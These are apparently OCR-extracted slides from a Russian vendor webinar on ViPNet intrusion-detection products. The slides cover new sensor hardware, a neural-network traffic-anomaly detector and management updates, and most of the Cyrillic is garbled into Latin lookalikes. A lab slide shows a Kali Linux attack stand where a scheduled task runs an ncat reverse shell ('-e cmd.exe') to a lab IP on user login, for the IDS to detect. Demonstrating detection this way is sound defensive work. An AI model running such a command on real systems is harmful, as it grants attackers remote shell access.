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HanoMHW O HEeKOTOpbIX BaXHbIX M
nofesHbiXx PyHKUMSAX B NPOAYKTax

Pacckaxy 06 OCHOBHbIX M3MeHEeHUAX
B HOBbIX BepcuAX

NMokaxy paboTy HeWpoceTu Mo
BbIAB/IEHUK aHOMaJIbHbIX 0b6bemMoB
Tpaduka B IDS NS

[fokaxy HoBble cueHapuu
ynpaeneHna B IDS MC



PeweHne ViPNet TDR XS aer

YnpaBneHue €$§
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AHanu3 ViPNet TIAS
rgga | ) '
ObHapyxeHue ViPNet IDS NS ViPNet IDS HS
. | |
'
ViPNet XxFW ViPNet EPP

ObHapyxeHue wu
pearnpoBaHue




ViPNet IDS MC X pecT

o BBop B 3akcnnyaTauuw ceHcopoB IDS;
o YnpaBneHue WHGpPACTpPyKTYpoOMn pelweHus;

o YnpasneHue npodpunaAmMn M KOHOUTypaumsamu
npasun IDS NS;

o O6HoBneHue:
* 6a3 pewawwmx NpaBun
°* CUrHaTtyp BpepoHocHoro [10
*  DKCMNEepTHbIX AAHHbIX
°*  MpOrpamMMHOro obecrnevyeHus yCTPOWUCTB
°  JIMUEH3UNn

O MOHUTOPUHI COCTOAHUS YCTPOMNCTB

https://infotecs.ru/webinars/archive/bystroe-razvorachivanie-i-vvod-v-ekspluatatsiyu-resheniya-
vipnet-tdr.html 4



ViPNet IDS NS X pecT

O aHanuM3 ceTeBoro Tpaduka
C MOMOLbH:

*  6a3 pewawwux npasun
° CWrHaTyp BpemoHocHoro Mo
°  3BpPUCTUYECKUX MeTOoAOoB

O XpaHeHue cobbiTuin, nakeToB
M ceccuu

O nepefaya CobbiTUA BO BHeWHMeE
cUCTeMmbl

o nepepadya Netflow - cTaTUCTUKM

O ynpasneHune npaBuiaMn aHaJIn3a




ViPNet IDS NS 3.9 X pecT

HoBble annapaTHbie nNaaTdOopMbl
ViPNet IDS NS100 Q1l, Q2 c npoueccopom

E} Intel Atom C3338
[Eé;j NMepepaya 3anuMcaHHOU ceTeBOM CeCCUM
B ViPNet TIAS

3anuMcaHHble ceccumn nepepawtca B ViPNet TIAS

OCHOBHble ynydweHuUA ONS BbIABNEHUA WKW pacC/iefOBaHUS
M HOBbleé BO3MOXHOCTMU ceTeBOW aTakw

HoBbit MeToa O6HapykxeHMA aHOManuMh Tpaduka
Traffic Volume Anomaly - HeWpoceTb,
onpefenswwan aHoMmasibHble 06beMbl BXOAAWEro U
ncxopAawero Tpapuka Ha TOM WAM MHOM y3se Mo
obwemy pasmepy MAM KONNYECTBY MaKeTOB 3a
onpefeneHHbln UHTepBan BpeMEHMU
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{ O6HapyeHue
AKTUBHOCTH

BIMO Ha xocTe




Anroputm paboTbl moaenwu

Mpoliece 660pa CTATHGTUHECKIX AaHHbIX

Orcnexusaemsle
ip-anpeca

Mapents Coxparms
3aronoeok meopMaumm o
navera norore 8 B[

Ha eth1 npuwen
naet

TaBnuuja notokos

10 muyT

HacTpoika
4YBCTBMTENLHOCT
W monenu

Omnpasuts
MOTOKW Ha
ananua

Hacrpoiika
Ypositn BaXHOGCTA
coBLiTMn

3aperucTpupos
are colbiTne
TVA

Mpolecc oby4enns Modeny TVA

Vaanenne

OByueHre Ha

AaHHbIX

Y1o6bl ocTanues
TOMBKO faHHEIE
3a nocneAHiai
Heneno

o aKTyanbheix
. AaHHbIX I
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MacTep-Knacc.
[NlepexoaMm K npakKkTuke!
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CXxemMa CTeHAa TeXHepecT

Kali Linux

—§2)

Ha aTakyemom y3ne: ~

o YcTaHoBneH Ncat; C:J D

o Yepe3 nnaHWpoOBWKUK 3a[ad
yCTaHOBJIeH 3anyCcK KOMaHAbl IDS NS 3.10

ncat 172.17.1.155 4444 -e cmd.exe

KOTOpaAa 3anyckaeTcA Mo cobbiTui

JIOCMHa noJib3oBaTenA T

t

T

ATakyembll
y3en

10



TeX H @ infotecs
2024 QweCT

MacTep-knacc IDS MC



ViPNet IDS MC 1.9

2

OCHOBHble ynyuweHuA
W HOBble BO3MOXHOCTM

TEXH@ it
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O6bHOBNEeHUe nonb3oBaTenbckux BPIM

O 3arpy3ska TOJIbKO aKTyaJsibHbIX
OOHOBNIEHWUN ;

O UeHTpanuM3oBaHHOe pacnpoCcTpaHeHue
nonb3oBaTesibCknx BPI

NoaknwdeHne paboTtawwero TIAS Kk IDS MC
nepepada ¢ TIAS B IDS MC uHbopmauuum 06
MHOPACTPYKTYpe U NOAKAOYEHHBIX
yCTpOncCTBax

06mMeH MHPopmaumein 06 UHPpacTpyKType
mexay IDS MC

UHPpacCTpyKTypa, 3aBefdeHHasa B IDS MC
cepBuc-nposangepa nepegaetca B IDS MC

3aKa34MhkKka
12



U opyrue ynyduweHun TEXHQ g

ABTOpe3epBUpoBaHUue ABTOpe3epBupoOBaHue ABapuiHbii pexum paboTbl
o HacTpoika pacnucaHua o 3anyck nocne KpUTUYeCKOM

- o Beirpyska Ha SFTP-cepsep ownbKu
ABapunHbIn o ABTOpoTauus O  BbIFrpy3Ka AMarHoCTUYeCcKUx

XypHanos

o Co3paHue pesepBHON KOMuu

o BoccTaHoBNEeHME
paboTOCNOCOWHOCTH

CUHXpOHU3aLUua BpeMeHu PaspneneHue ceTeBbiX MHTeppencoB
o [na ceHcopoB IDS NS o PaspgeneHue kKaHanoB ynpaBieHuUA
o Ana TIAS M JocTtyna K Moab3oBaTe/lbCKOMY
UHTepdency
o Jlo 2 ceTeBbiXx MHTepdencos
UHTepdeiica pasHbIX MoAceTeil
o DHCP u cTatu4yeckan
MapupyTu3auma

2 ceTeBblX

13
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MacTep-Knacc.
[NlepexoaMm K npakKkTuke!
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Cnacubo
3a BHMMaHue!

MoanucbiBanTeCb Ha Hawu couceTwu
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vk.com/infotecs news https://t.me/infotecs_official rutube.ru/channel /24686363
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